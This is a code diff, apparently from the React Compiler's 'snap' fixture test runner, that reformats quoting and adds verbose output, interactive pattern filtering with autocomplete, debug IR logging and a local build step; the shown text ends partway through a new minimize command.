       failed.push([basename, result.unexpectedError]);
     } else if (result.actual == null) {
       // Input was deleted but the expect file still existed, remove it
       console.log(
-        chalk.red.inverse.bold(" REMOVE ") + " " + chalk.dim(basename)
+        chalk.red.inverse.bold(' REMOVE ') + ' ' + chalk.dim(basename),
       );
       try {
         fs.unlinkSync(result.outputPath);
-        console.log(" remove  " + result.outputPath);
+        console.log(' remove  ' + result.outputPath);
         deleted++;
       } catch (e) {
         console.error(
-          "[Snap tester error]: failed to remove " + result.outputPath
+          '[Snap tester error]: failed to remove ' + result.outputPath,
         );
         failed.push([basename, result.unexpectedError]);
       }
     } else if (result.actual !== result.expected) {
       // Expected output has changed
       console.log(
-        chalk.blue.inverse.bold(" UPDATE ") + " " + chalk.dim(basename)
+        chalk.blue.inverse.bold(' UPDATE ') + ' ' + chalk.dim(basename),
       );
       try {
-        fs.writeFileSync(result.outputPath, result.actual, "utf8");
+        fs.writeFileSync(result.outputPath, result.actual, 'utf8');
       } catch (e) {
-        if (e?.code === "ENOENT") {
+        if (e?.code === 'ENOENT') {
           // May have failed to create nested dir, so make a directory and retry
-          fs.mkdirSync(path.dirname(result.outputPath), { recursive: true });
-          fs.writeFileSync(result.outputPath, result.actual, "utf8");
+          fs.mkdirSync(path.dirname(result.outputPath), {recursive: true});
+          fs.writeFileSync(result.outputPath, result.actual, 'utf8');
         }
       }
       if (result.expected == null) {
@@ -123,15 +123,15 @@ export async function update(results: TestResults): Promise<void> {
     } else {
       // Expected output is current
       console.log(
-        chalk.green.inverse.bold("  OKAY  ") + " " + chalk.dim(basename)
+        chalk.green.inverse.bold('  OKAY  ') + ' ' + chalk.dim(basename),
       );
     }
   }
   console.log(
-    `${deleted} Deleted, ${created} Created, ${updated} Updated, ${failed.length} Failed`
+    `${deleted} Deleted, ${created} Created, ${updated} Updated, ${failed.length} Failed`,
   );
   for (const [basename, errorMsg] of failed) {
-    console.log(`${chalk.red.bold("Fail:")} ${basename}\n${errorMsg}`);
+    console.log(`${chalk.red.bold('Fail:')} ${basename}\n${errorMsg}`);
   }
 }
 
@@ -139,42 +139,51 @@ export async function update(results: TestResults): Promise<void> {
  * Report test results to the user
  * @returns boolean indicatig whether all tests passed
  */
-export function report(results: TestResults): boolean {
+export function report(
+  results: TestResults,
+  verbose: boolean = false,
+): boolean {
   const failures: Array<[string, TestResult]> = [];
   for (const [basename, result] of results) {
     if (result.actual === result.expected && result.unexpectedError == null) {
-      console.log(
-        chalk.green.inverse.bold(" PASS ") + " " + chalk.dim(basename)
-      );
+      if (verbose) {
+        console.log(
+          chalk.green.inverse.bold(' PASS ') + ' ' + chalk.dim(basename),
+        );
+      }
     } else {
-      console.log(chalk.red.inverse.bold(" FAIL ") + " " + chalk.dim(basename));
+      if (verbose) {
+        console.log(
+          chalk.red.inverse.bold(' FAIL ') + ' ' + chalk.dim(basename),
+        );
+      }
       failures.push([basename, result]);
     }
   }
 
   if (failures.length !== 0) {
-    console.log("\n" + chalk.red.bold("Failures:") + "\n");
+    console.log('\n' + chalk.red.bold('Failures:') + '\n');
 
     for (const [basename, result] of failures) {
-      console.log(chalk.red.bold("FAIL:") + " " + basename);
+      console.log(chalk.red.bold('FAIL:') + ' ' + basename);
       if (result.unexpectedError != null) {
         console.log(
-          ` >> Unexpected error during test: \n${result.unexpectedError}`
+          ` >> Unexpected error during test: \n${result.unexpectedError}`,
         );
       } else {
         if (result.expected == null) {
-          invariant(result.actual != null, "[Tester] Internal failure.");
+          invariant(result.actual != null, '[Tester] Internal failure.');
           console.log(
-            chalk.red("[ expected fixture output is absent ]") + "\n"
+            chalk.red('[ expected fixture output is absent ]') + '\n',
           );
         } else if (result.actual == null) {
-          invariant(result.expected != null, "[Tester] Internal failure.");
+          invariant(result.expected != null, '[Tester] Internal failure.');
           console.log(
             chalk.red(`[ fixture input for ${result.outputPath} is absent ]`) +
-              "\n"
+              '\n',
           );
         } else {
-          console.log(diff(result.expected, result.actual) + "\n");
+          console.log(diff(result.expected, result.actual) + '\n');
         }
       }
     }
@@ -183,7 +192,7 @@ export function report(results: TestResults): boolean {
   console.log(
     `${results.size} Tests, ${results.size - failures.length} Passed, ${
       failures.length
-    } Failed`
+    } Failed`,
   );
   return failures.length === 0;
 }
diff --git a/compiler/packages/snap/src/runner-watch.ts b/compiler/packages/snap/src/runner-watch.ts
index 414d99084c52..dcec52689471 100644
--- a/compiler/packages/snap/src/runner-watch.ts
+++ b/compiler/packages/snap/src/runner-watch.ts
@@ -5,20 +5,21 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import watcher from "@parcel/watcher";
-import path from "path";
-import ts from "typescript";
-import { FILTER_FILENAME, FIXTURES_PATH } from "./constants";
-import { TestFilter, readTestFilter } from "./fixture-utils";
+import watcher from '@parcel/watcher';
+import path from 'path';
+import ts from 'typescript';
+import {FIXTURES_PATH, BABEL_PLUGIN_ROOT} from './constants';
+import {TestFilter, getFixtures} from './fixture-utils';
+import {execSync} from 'child_process';
 
 export function watchSrc(
   onStart: () => void,
-  onComplete: (isSuccess: boolean) => void
+  onComplete: (isSuccess: boolean) => void,
 ): ts.WatchOfConfigFile<ts.SemanticDiagnosticsBuilderProgram> {
   const configPath = ts.findConfigFile(
-    /*searchPath*/ "./",
+    /*searchPath*/ BABEL_PLUGIN_ROOT,
     ts.sys.fileExists,
-    "tsconfig.json"
+    'tsconfig.json',
   );
   if (!configPath) {
     throw new Error("Could not find a valid 'tsconfig.json'.");
@@ -26,14 +27,11 @@ export function watchSrc(
   const createProgram = ts.createSemanticDiagnosticsBuilderProgram;
   const host = ts.createWatchCompilerHost(
     configPath,
-    ts.convertCompilerOptionsFromJson(
-      { module: "commonjs", outDir: "dist" },
-      "."
-    ).options,
+    undefined,
     ts.sys,
     createProgram,
     () => {}, // we manually report errors in afterProgramCreate
-    () => {} // we manually report watch status
+    () => {}, // we manually report watch status
   );
 
   const origCreateProgram = host.createProgram;
@@ -41,19 +39,21 @@ export function watchSrc(
     onStart();
     return origCreateProgram(rootNames, options, host, oldProgram);
   };
-  const origPostProgramCreate = host.afterProgramCreate;
-  host.afterProgramCreate = (program) => {
-    origPostProgramCreate!(program);
+  host.afterProgramCreate = program => {
+    /**
+     * Avoid calling original postProgramCreate because it always emits tsc
+     * compilation output
+     */
 
     // syntactic diagnostics refer to javascript syntax
     const errors = program
       .getSyntacticDiagnostics()
-      .filter((diag) => diag.category === ts.DiagnosticCategory.Error);
+      .filter(diag => diag.category === ts.DiagnosticCategory.Error);
     // semantic diagnostics refer to typescript semantics
     errors.push(
       ...program
         .getSemanticDiagnostics()
-        .filter((diag) => diag.category === ts.DiagnosticCategory.Error)
+        .filter(diag => diag.category === ts.DiagnosticCategory.Error),
     );
 
     if (errors.length > 0) {
@@ -61,27 +61,27 @@ export function watchSrc(
         let fileLoc: string;
         if (diagnostic.file) {
           // https://github.com/microsoft/TypeScript/blob/ddd5084659c423f4003d2176e12d879b6a5bcf30/src/compiler/program.ts#L663-L674
-          const { line, character } = ts.getLineAndCharacterOfPosition(
+          const {line, character} = ts.getLineAndCharacterOfPosition(
             diagnostic.file,
-            diagnostic.start!
+            diagnostic.start!,
           );
           const fileName = path.relative(
             ts.sys.getCurrentDirectory(),
-            diagnostic.file.fileName
+            diagnostic.file.fileName,
           );
           fileLoc = `${fileName}:${line + 1}:${character + 1} - `;
         } else {
-          fileLoc = "";
+          fileLoc = '';
         }
         console.error(
           `${fileLoc}error TS${diagnostic.code}:`,
-          ts.flattenDiagnosticMessageText(diagnostic.messageText, "\n")
+          ts.flattenDiagnosticMessageText(diagnostic.messageText, '\n'),
         );
       }
       console.error(
         `Compilation failed (${errors.length} ${
-          errors.length > 1 ? "errors" : "error"
-        }).\n`
+          errors.length > 1 ? 'errors' : 'error'
+        }).\n`,
       );
     }
 
@@ -98,8 +98,8 @@ export function watchSrc(
  * Watch mode helpers
  */
 export enum RunnerAction {
-  Test = "Test",
-  Update = "Update",
+  Test = 'Test',
+  Update = 'Update',
 }
 
 type RunnerMode = {
@@ -117,11 +117,21 @@ export type RunnerState = {
   lastUpdate: number;
   mode: RunnerMode;
   filter: TestFilter | null;
+  debug: boolean;
+  // Input mode for interactive pattern entry
+  inputMode: 'none' | 'pattern';
+  inputBuffer: string;
+  // Autocomplete state
+  allFixtureNames: Array<string>;
+  matchingFixtures: Array<string>;
+  selectedIndex: number;
+  // Track last run status of each fixture (for autocomplete suggestions)
+  fixtureLastRunStatus: Map<string, 'pass' | 'fail'>;
 };
 
 function subscribeFixtures(
   state: RunnerState,
-  onChange: (state: RunnerState) => void
+  onChange: (state: RunnerState) => void,
 ) {
   // Watch the fixtures directory for changes
   watcher.subscribe(FIXTURES_PATH, async (err, _events) => {
@@ -142,63 +152,259 @@ function subscribeFixtures(
   });
 }
 
-function subscribeFilterFile(
-  state: RunnerState,
-  onChange: (state: RunnerState) => void
-) {
-  watcher.subscribe(process.cwd(), async (err, events) => {
-    if (err) {
-      console.error(err);
-      process.exit(1);
-    } else if (
-      events.findIndex((event) => event.path.includes(FILTER_FILENAME)) !== -1
-    ) {
-      if (state.mode.filter) {
-        state.filter = await readTestFilter();
-        state.mode.action = RunnerAction.Test;
-        onChange(state);
-      }
-    }
-  });
-}
-
 function subscribeTsc(
   state: RunnerState,
-  onChange: (state: RunnerState) => void
+  onChange: (state: RunnerState) => void,
 ) {
   // Run TS in incremental watch mode
   watchSrc(
     function onStart() {
       // Notify the user when compilation starts but don't clear the screen yet
-      console.log("\nCompiling...");
+      console.log('\nCompiling...');
     },
-    (isSuccess) => {
+    isTypecheckSuccess => {
+      let isCompilerBuildValid = false;
+      if (isTypecheckSuccess) {
+        try {
+          execSync('yarn build', {cwd: BABEL_PLUGIN_ROOT});
+          console.log('Built compiler successfully with tsup');
+          isCompilerBuildValid = true;
+        } catch (e) {
+          console.warn('Failed to build compiler with tsup:', e);
+        }
+      }
       // Bump the compiler version after a build finishes
       // and re-run tests
-      if (isSuccess) {
+      if (isCompilerBuildValid) {
         state.compilerVersion++;
       }
-      state.isCompilerBuildValid = isSuccess;
+      state.isCompilerBuildValid = isCompilerBuildValid;
       state.mode.action = RunnerAction.Test;
       onChange(state);
+    },
+  );
+}
+
+/**
+ * Levenshtein edit distance between two strings
+ */
+function editDistance(a: string, b: string): number {
+  const m = a.length;
+  const n = b.length;
+
+  // Create a 2D array for memoization
+  const dp: number[][] = Array.from({length: m + 1}, () =>
+    Array(n + 1).fill(0),
+  );
+
+  // Base cases
+  for (let i = 0; i <= m; i++) dp[i][0] = i;
+  for (let j = 0; j <= n; j++) dp[0][j] = j;
+
+  // Fill in the rest
+  for (let i = 1; i <= m; i++) {
+    for (let j = 1; j <= n; j++) {
+      if (a[i - 1] === b[j - 1]) {
+        dp[i][j] = dp[i - 1][j - 1];
+      } else {
+        dp[i][j] = 1 + Math.min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1]);
+      }
     }
+  }
+
+  return dp[m][n];
+}
+
+function filterFixtures(
+  allNames: Array<string>,
+  pattern: string,
+): Array<string> {
+  if (pattern === '') {
+    return allNames;
+  }
+  const lowerPattern = pattern.toLowerCase();
+  const matches = allNames.filter(name =>
+    name.toLowerCase().includes(lowerPattern),
   );
+  // Sort by edit distance (lower = better match)
+  matches.sort((a, b) => {
+    const distA = editDistance(lowerPattern, a.toLowerCase());
+    const distB = editDistance(lowerPattern, b.toLowerCase());
+    return distA - distB;
+  });
+  return matches;
+}
+
+const MAX_DISPLAY = 15;
+
+function renderAutocomplete(state: RunnerState): void {
+  // Clear terminal
+  console.log('\u001Bc');
+
+  // Show current input
+  console.log(`Pattern: ${state.inputBuffer}`);
+  console.log('');
+
+  // Get current filter pattern if active
+  const currentFilterPattern =
+    state.mode.filter && state.filter ? state.filter.paths[0] : null;
+
+  // Show matching fixtures (limit to MAX_DISPLAY)
+  const toShow = state.matchingFixtures.slice(0, MAX_DISPLAY);
+
+  toShow.forEach((name, i) => {
+    const isSelected = i === state.selectedIndex;
+    const matchesCurrentFilter =
+      currentFilterPattern != null &&
+      name.toLowerCase().includes(currentFilterPattern.toLowerCase());
+
+    let prefix: string;
+    if (isSelected) {
+      prefix = '> ';
+    } else if (matchesCurrentFilter) {
+      prefix = '* ';
+    } else {
+      prefix = '  ';
+    }
+    console.log(`${prefix}${name}`);
+  });
+
+  if (state.matchingFixtures.length > MAX_DISPLAY) {
+    console.log(
+      `  ... and ${state.matchingFixtures.length - MAX_DISPLAY} more`,
+    );
+  }
+
+  console.log('');
+  console.log('↑/↓/Tab navigate | Enter select | Esc cancel');
 }
 
 function subscribeKeyEvents(
   state: RunnerState,
-  onChange: (state: RunnerState) => void
+  onChange: (state: RunnerState) => void,
 ) {
-  process.stdin.on("keypress", async (str, key) => {
-    if (key.name === "u") {
+  process.stdin.on('keypress', async (str, key) => {
+    // Handle input mode (pattern entry with autocomplete)
+    if (state.inputMode !== 'none') {
+      if (key.name === 'return') {
+        // Enter pressed - use selected fixture or typed text
+        let pattern: string;
+        if (
+          state.selectedIndex >= 0 &&
+          state.selectedIndex < state.matchingFixtures.length
+        ) {
+          pattern = state.matchingFixtures[state.selectedIndex];
+        } else {
+          pattern = state.inputBuffer.trim();
+        }
+
+        state.inputMode = 'none';
+        state.inputBuffer = '';
+        state.allFixtureNames = [];
+        state.matchingFixtures = [];
+        state.selectedIndex = -1;
+
+        if (pattern !== '') {
+          state.filter = {paths: [pattern]};
+          state.mode.filter = true;
+          state.mode.action = RunnerAction.Test;
+          onChange(state);
+        }
+        return;
+      } else if (key.name === 'escape') {
+        // Cancel input mode
+        state.inputMode = 'none';
+        state.inputBuffer = '';
+        state.allFixtureNames = [];
+        state.matchingFixtures = [];
+        state.selectedIndex = -1;
+        // Redraw normal UI
+        onChange(state);
+        return;
+      } else if (key.name === 'up' || (key.name === 'tab' && key.shift)) {
+        // Navigate up in autocomplete list
+        if (state.matchingFixtures.length > 0) {
+          if (state.selectedIndex <= 0) {
+            state.selectedIndex =
+              Math.min(state.matchingFixtures.length, MAX_DISPLAY) - 1;
+          } else {
+            state.selectedIndex--;
+          }
+          renderAutocomplete(state);
+        }
+        return;
+      } else if (key.name === 'down' || (key.name === 'tab' && !key.shift)) {
+        // Navigate down in autocomplete list
+        if (state.matchingFixtures.length > 0) {
+          const maxIndex =
+            Math.min(state.matchingFixtures.length, MAX_DISPLAY) - 1;
+          if (state.selectedIndex >= maxIndex) {
+            state.selectedIndex = 0;
+          } else {
+            state.selectedIndex++;
+          }
+          renderAutocomplete(state);
+        }
+        return;
+      } else if (key.name === 'backspace') {
+        if (state.inputBuffer.length > 0) {
+          state.inputBuffer = state.inputBuffer.slice(0, -1);
+          state.matchingFixtures = filterFixtures(
+            state.allFixtureNames,
+            state.inputBuffer,
+          );
+          state.selectedIndex = -1;
+          renderAutocomplete(state);
+        }
+        return;
+      } else if (str && !key.ctrl && !key.meta) {
+        // Regular character - accumulate, filter, and render
+        state.inputBuffer += str;
+        state.matchingFixtures = filterFixtures(
+          state.allFixtureNames,
+          state.inputBuffer,
+        );
+        state.selectedIndex = -1;
+        renderAutocomplete(state);
+        return;
+      }
+      return; // Ignore other keys in input mode
+    }
+
+    // Normal mode keypress handling
+    if (key.name === 'u') {
       // u => update fixtures
       state.mode.action = RunnerAction.Update;
-    } else if (key.name === "q") {
+    } else if (key.name === 'q') {
       process.exit(0);
-    } else if (key.name === "f") {
-      state.mode.filter = !state.mode.filter;
-      state.filter = state.mode.filter ? await readTestFilter() : null;
+    } else if (key.name === 'a') {
+      // a => exit filter mode and run all tests
+      state.mode.filter = false;
+      state.filter = null;
       state.mode.action = RunnerAction.Test;
+    } else if (key.name === 'd') {
+      // d => toggle debug logging
+      state.debug = !state.debug;
+      state.mode.action = RunnerAction.Test;
+    } else if (key.name === 'p') {
+      // p => enter pattern input mode with autocomplete
+      state.inputMode = 'pattern';
+      state.inputBuffer = '';
+
+      // Load all fixtures for autocomplete
+      const fixtures = await getFixtures(null);
+      state.allFixtureNames = Array.from(fixtures.keys()).sort();
+      // Show failed fixtures first when no pattern entered
+      const failedFixtures = Array.from(state.fixtureLastRunStatus.entries())
+        .filter(([_, status]) => status === 'fail')
+        .map(([name]) => name)
+        .sort();
+      state.matchingFixtures =
+        failedFixtures.length > 0 ? failedFixtures : state.allFixtureNames;
+      state.selectedIndex = -1;
+
+      renderAutocomplete(state);
+      return; // Don't trigger onChange yet
     } else {
       // any other key re-runs tests
       state.mode.action = RunnerAction.Test;
@@ -209,21 +415,37 @@ function subscribeKeyEvents(
 
 export async function makeWatchRunner(
   onChange: (state: RunnerState) => void,
-  filterMode: boolean
+  debugMode: boolean,
+  initialPattern?: string,
 ): Promise<void> {
-  const state = {
+  // Determine initial filter state
+  let filter: TestFilter | null = null;
+  let filterEnabled = false;
+
+  if (initialPattern) {
+    filter = {paths: [initialPattern]};
+    filterEnabled = true;
+  }
+
+  const state: RunnerState = {
     compilerVersion: 0,
     isCompilerBuildValid: false,
     lastUpdate: -1,
     mode: {
       action: RunnerAction.Test,
-      filter: filterMode,
+      filter: filterEnabled,
     },
-    filter: filterMode ? await readTestFilter() : null,
+    filter,
+    debug: debugMode,
+    inputMode: 'none',
+    inputBuffer: '',
+    allFixtureNames: [],
+    matchingFixtures: [],
+    selectedIndex: -1,
+    fixtureLastRunStatus: new Map(),
   };
 
   subscribeTsc(state, onChange);
   subscribeFixtures(state, onChange);
   subscribeKeyEvents(state, onChange);
-  subscribeFilterFile(state, onChange);
 }
diff --git a/compiler/packages/snap/src/runner-worker.ts b/compiler/packages/snap/src/runner-worker.ts
index 123c13812649..fe76f6ccd3aa 100644
--- a/compiler/packages/snap/src/runner-worker.ts
+++ b/compiler/packages/snap/src/runner-worker.ts
@@ -5,25 +5,34 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { codeFrameColumns } from "@babel/code-frame";
-import type { PluginObj } from "@babel/core";
-import type { parseConfigPragma as ParseConfigPragma } from "babel-plugin-react-compiler/src/HIR/Environment";
-import { TransformResult, transformFixtureInput } from "./compiler";
+import type {PluginObj} from '@babel/core';
+import type {parseConfigPragmaForTests as ParseConfigPragma} from 'babel-plugin-react-compiler/src/Utils/TestUtils';
+import type {printFunctionWithOutlined as PrintFunctionWithOutlined} from 'babel-plugin-react-compiler/src/HIR/PrintHIR';
+import type {printReactiveFunctionWithOutlined as PrintReactiveFunctionWithOutlined} from 'babel-plugin-react-compiler/src/ReactiveScopes/PrintReactiveFunction';
+import {TransformResult, transformFixtureInput} from './compiler';
 import {
-  COMPILER_PATH,
-  LOGGER_PATH,
-  PARSE_CONFIG_PRAGMA_PATH,
-} from "./constants";
-import { TestFixture, getBasename, isExpectError } from "./fixture-utils";
-import { TestResult, writeOutputToString } from "./reporter";
-import { runSprout } from "./sprout";
+  PARSE_CONFIG_PRAGMA_IMPORT,
+  PRINT_HIR_IMPORT,
+  PRINT_REACTIVE_IR_IMPORT,
+  BABEL_PLUGIN_SRC,
+} from './constants';
+import {TestFixture, getBasename, isExpectError} from './fixture-utils';
+import {TestResult, writeOutputToString} from './reporter';
+import {runSprout} from './sprout';
+import type {
+  CompilerPipelineValue,
+  Effect,
+  ValueKind,
+  ValueReason,
+} from 'babel-plugin-react-compiler/src';
+import chalk from 'chalk';
 
 const originalConsoleError = console.error;
 
 // Try to avoid clearing the entire require cache, which (as of this PR)
 // contains ~1250 files. This assumes that no dependencies have global caches
 // that may need to be invalidated across Forget reloads.
-const invalidationSubpath = "packages/babel-plugin-react-compiler/dist";
+const invalidationSubpath = 'packages/babel-plugin-react-compiler/dist';
 let version: number | null = null;
 export function clearRequireCache() {
   Object.keys(require.cache).forEach(function (path) {
@@ -38,7 +47,7 @@ async function compile(
   fixturePath: string,
   compilerVersion: number,
   shouldLog: boolean,
-  includeEvaluator: boolean
+  includeEvaluator: boolean,
 ): Promise<{
   error: string | null;
   compileResult: TransformResult | null;
@@ -55,28 +64,77 @@ async function compile(
   let compileResult: TransformResult | null = null;
   let error: string | null = null;
   try {
+    const importedCompilerPlugin = require(BABEL_PLUGIN_SRC) as Record<
+      string,
+      unknown
+    >;
+
     // NOTE: we intentionally require lazily here so that we can clear the require cache
     // and load fresh versions of the compiler when `compilerVersion` changes.
-    const { default: BabelPluginReactCompiler } = require(COMPILER_PATH) as {
-      default: PluginObj;
-    };
-    const { toggleLogging } = require(LOGGER_PATH);
-    const { parseConfigPragma } = require(PARSE_CONFIG_PRAGMA_PATH) as {
-      parseConfigPragma: typeof ParseConfigPragma;
-    };
+    const BabelPluginReactCompiler = importedCompilerPlugin[
+      'default'
+    ] as PluginObj;
+    const EffectEnum = importedCompilerPlugin['Effect'] as typeof Effect;
+    const ValueKindEnum = importedCompilerPlugin[
+      'ValueKind'
+    ] as typeof ValueKind;
+    const ValueReasonEnum = importedCompilerPlugin[
+      'ValueReason'
+    ] as typeof ValueReason;
+    const printFunctionWithOutlined = importedCompilerPlugin[
+      PRINT_HIR_IMPORT
+    ] as typeof PrintFunctionWithOutlined;
+    const printReactiveFunctionWithOutlined = importedCompilerPlugin[
+      PRINT_REACTIVE_IR_IMPORT
+    ] as typeof PrintReactiveFunctionWithOutlined;
+    const parseConfigPragmaForTests = importedCompilerPlugin[
+      PARSE_CONFIG_PRAGMA_IMPORT
+    ] as typeof ParseConfigPragma;
+
+    let lastLogged: string | null = null;
+    const debugIRLogger = shouldLog
+      ? (value: CompilerPipelineValue) => {
+          let printed: string;
+          switch (value.kind) {
+            case 'hir':
+              printed = printFunctionWithOutlined(value.value);
+              break;
+            case 'reactive':
+              printed = printReactiveFunctionWithOutlined(value.value);
+              break;
+            case 'debug':
+              printed = value.value;
+              break;
+            case 'ast':
+              // skip printing ast as we already write fixture output JS
+              printed = '(ast)';
+              break;
+          }
+
+          if (printed !== lastLogged) {
+            lastLogged = printed;
+            console.log(`${chalk.green(value.name)}:\n ${printed}\n`);
+          } else {
+            console.log(`${chalk.blue(value.name)}: (no change)\n`);
+          }
+        }
+      : () => {};
 
     // only try logging if we filtered out all but one fixture,
     // since console log order is non-deterministic
-    toggleLogging(shouldLog);
     const result = await transformFixtureInput(
       input,
       fixturePath,
-      parseConfigPragma,
+      parseConfigPragmaForTests,
       BabelPluginReactCompiler,
-      includeEvaluator
+      includeEvaluator,
+      debugIRLogger,
+      EffectEnum,
+      ValueKindEnum,
+      ValueReasonEnum,
     );
 
-    if (result.kind === "err") {
+    if (result.kind === 'err') {
       error = result.msg;
     } else {
       compileResult = result.value;
@@ -85,30 +143,7 @@ async function compile(
     if (shouldLog) {
       console.error(e.stack);
     }
-    error = e.message.replace(/\u001b[^m]*m/g, "");
-    const loc = e.details?.[0]?.loc;
-    if (loc != null) {
-      try {
-        error = codeFrameColumns(
-          input,
-          {
-            start: {
-              line: loc.start.line,
-              column: loc.start.column + 1,
-            },
-            end: {
-              line: loc.end.line,
-              column: loc.end.column + 1,
-            },
-          },
-          {
-            message: e.message,
-          }
-        );
-      } catch {
-        // In case the location data isn't valid, skip printing a code frame.
-      }
-    }
+    error = e.message.replace(/\u001b[^m]*m/g, '');
   }
 
   // Promote console errors so they can be recorded in fixture output
@@ -131,9 +166,9 @@ export async function transformFixture(
   fixture: TestFixture,
   compilerVersion: number,
   shouldLog: boolean,
-  includeEvaluator: boolean
+  includeEvaluator: boolean,
 ): Promise<TestResult> {
-  const { input, snapshot: expected, snapshotPath: outputPath } = fixture;
+  const {input, snapshot: expected, snapshotPath: outputPath} = fixture;
   const basename = getBasename(fixture);
   const expectError = isExpectError(fixture);
 
@@ -147,12 +182,12 @@ export async function transformFixture(
       unexpectedError: null,
     };
   }
-  const { compileResult, error } = await compile(
+  const {compileResult, error} = await compile(
     input,
     fixture.fixturePath,
     compilerVersion,
     shouldLog,
-    includeEvaluator
+    includeEvaluator,
   );
 
   let unexpectedError: string | null = null;
@@ -173,16 +208,16 @@ export async function transformFixture(
   if (compileResult?.evaluatorCode != null) {
     const sproutResult = runSprout(
       compileResult.evaluatorCode.original,
-      compileResult.evaluatorCode.forget
+      compileResult.evaluatorCode.forget,
     );
-    if (sproutResult.kind === "invalid") {
-      unexpectedError ??= "";
+    if (sproutResult.kind === 'invalid') {
+      unexpectedError ??= '';
       unexpectedError += `\n\n${sproutResult.value}`;
     } else {
       sproutOutput = sproutResult.value;
     }
   } else if (!includeEvaluator && expected != null) {
-    sproutOutput = expected.split("\n### Eval output\n")[1];
+    sproutOutput = expected.split('\n### Eval output\n')[1];
   }
 
   const actualOutput = writeOutputToString(
@@ -190,7 +225,7 @@ export async function transformFixture(
     snapOutput,
     sproutOutput,
     compileResult?.logs ?? null,
-    error
+    error,
   );
 
   return {
diff --git a/compiler/packages/snap/src/runner.ts b/compiler/packages/snap/src/runner.ts
index 55fcaa66e91c..3d6e5b4fc156 100644
--- a/compiler/packages/snap/src/runner.ts
+++ b/compiler/packages/snap/src/runner.ts
@@ -5,65 +5,424 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { Worker } from "jest-worker";
-import { cpus } from "os";
-import process from "process";
-import * as readline from "readline";
-import ts from "typescript";
-import yargs from "yargs";
-import { hideBin } from "yargs/helpers";
-import { FILTER_PATH } from "./constants";
-import { TestFilter, getFixtures, readTestFilter } from "./fixture-utils";
-import { TestResult, TestResults, report, update } from "./reporter";
+import {Worker} from 'jest-worker';
+import {cpus} from 'os';
+import process from 'process';
+import * as readline from 'readline';
+import ts from 'typescript';
+import yargs from 'yargs';
+import {hideBin} from 'yargs/helpers';
+import {BABEL_PLUGIN_ROOT, PROJECT_ROOT} from './constants';
+import {TestFilter, getFixtures} from './fixture-utils';
+import {TestResult, TestResults, report, update} from './reporter';
 import {
   RunnerAction,
   RunnerState,
   makeWatchRunner,
   watchSrc,
-} from "./runner-watch";
-import * as runnerWorker from "./runner-worker";
+} from './runner-watch';
+import * as runnerWorker from './runner-worker';
+import {execSync} from 'child_process';
+import fs from 'fs';
+import path from 'path';
+import {minimize} from './minimize';
+import {parseInput, parseLanguage, parseSourceType} from './compiler';
+import {
+  PARSE_CONFIG_PRAGMA_IMPORT,
+  PRINT_HIR_IMPORT,
+  PRINT_REACTIVE_IR_IMPORT,
+  BABEL_PLUGIN_SRC,
+} from './constants';
+import chalk from 'chalk';
 
-const WORKER_PATH = require.resolve("./runner-worker.js");
+const WORKER_PATH = require.resolve('./runner-worker.js');
 const NUM_WORKERS = cpus().length - 1;
 
 readline.emitKeypressEvents(process.stdin);
 
-type RunnerOptions = {
+type TestOptions = {
   sync: boolean;
   workerThreads: boolean;
   watch: boolean;
-  filter: boolean;
   update: boolean;
+  pattern?: string;
+  debug: boolean;
+  verbose: boolean;
+};
+
+type MinimizeOptions = {
+  path: string;
+  update: boolean;
+};
+
+type CompileOptions = {
+  path: string;
+  debug: boolean;
 };
 
-const opts: RunnerOptions = yargs
-  .boolean("sync")
-  .describe(
-    "sync",
-    "Run compiler in main thread (instead of using worker threads or subprocesses). Defaults to false."
+async function runTestCommand(opts: TestOptions): Promise<void> {
+  const worker: Worker & typeof runnerWorker = new Worker(WORKER_PATH, {
+    enableWorkerThreads: opts.workerThreads,
+    numWorkers: NUM_WORKERS,
+  }) as any;
+  worker.getStderr().pipe(process.stderr);
+  worker.getStdout().pipe(process.stdout);
+
+  // Check if watch mode should be enabled
+  const shouldWatch = opts.watch;
+
+  if (shouldWatch) {
+    makeWatchRunner(
+      state => onChange(worker, state, opts.sync, opts.verbose),
+      opts.debug,
+      opts.pattern,
+    );
+    if (opts.pattern) {
+      /**
+       * Warm up wormers when in watch mode. Loading the Forget babel plugin
+       * and all of its transitive dependencies takes 1-3s (per worker) on a M1.
+       * As jest-worker dispatches tasks using a round-robin strategy, we can
+       * avoid an additional 1-3s wait on the first num_workers runs by warming
+       * up workers eagerly.
+       */
+      for (let i = 0; i < NUM_WORKERS - 1; i++) {
+        worker.transformFixture(
+          {
+            fixturePath: 'tmp',
+            snapshotPath: './tmp.expect.md',
+            inputPath: './tmp.js',
+            input: `
+            function Foo(props) {
+              return identity(props);
+            }
+            `,
+            snapshot: null,
+          },
+          0,
+          false,
+          false,
+        );
+      }
+    }
+  } else {
+    // Non-watch mode. For simplicity we re-use the same watchSrc() function.
+    // After the first build completes run tests and exit
+    const tsWatch: ts.WatchOfConfigFile<ts.SemanticDiagnosticsBuilderProgram> =
+      watchSrc(
+        () => {},
+        async (isTypecheckSuccess: boolean) => {
+          let isSuccess = false;
+          if (!isTypecheckSuccess) {
+            console.error(
+              'Found typescript errors in Forget source code, skipping test fixtures.',
+            );
+          } else {
+            try {
+              execSync('yarn build', {cwd: BABEL_PLUGIN_ROOT});
+              console.log('Built compiler successfully with tsup');
+
+              // Determine which filter to use
+              let testFilter: TestFilter | null = null;
+              if (opts.pattern) {
+                testFilter = {
+                  paths: [opts.pattern],
+                };
+              }
+
+              const results = await runFixtures(
+                worker,
+                testFilter,
+                0,
+                opts.debug,
+                false, // no requireSingleFixture in non-watch mode
+                opts.sync,
+              );
+              if (opts.update) {
+                update(results);
+                isSuccess = true;
+              } else {
+                isSuccess = report(results, opts.verbose);
+              }
+            } catch (e) {
+              console.warn('Failed to build compiler with tsup:', e);
+            }
+          }
+          tsWatch?.close();
+          await worker.end();
+          process.exit(isSuccess ? 0 : 1);
+        },
+      );
+  }
+}
+
+async function runMinimizeCommand(opts: MinimizeOptions): Promise<void> {
+  // Resolve the input path
+  const inputPath = path.isAbsolute(opts.path)
+    ? opts.path
+    : path.resolve(PROJECT_ROOT, opts.path);
+
+  // Check if file exists
+  if (!fs.existsSync(inputPath)) {
+    console.error(`Error: File not found: ${inputPath}`);
+    process.exit(1);
+  }
+
+  // Read the input file
+  const input = fs.readFileSync(inputPath, 'utf-8');
+  const filename = path.basename(inputPath);
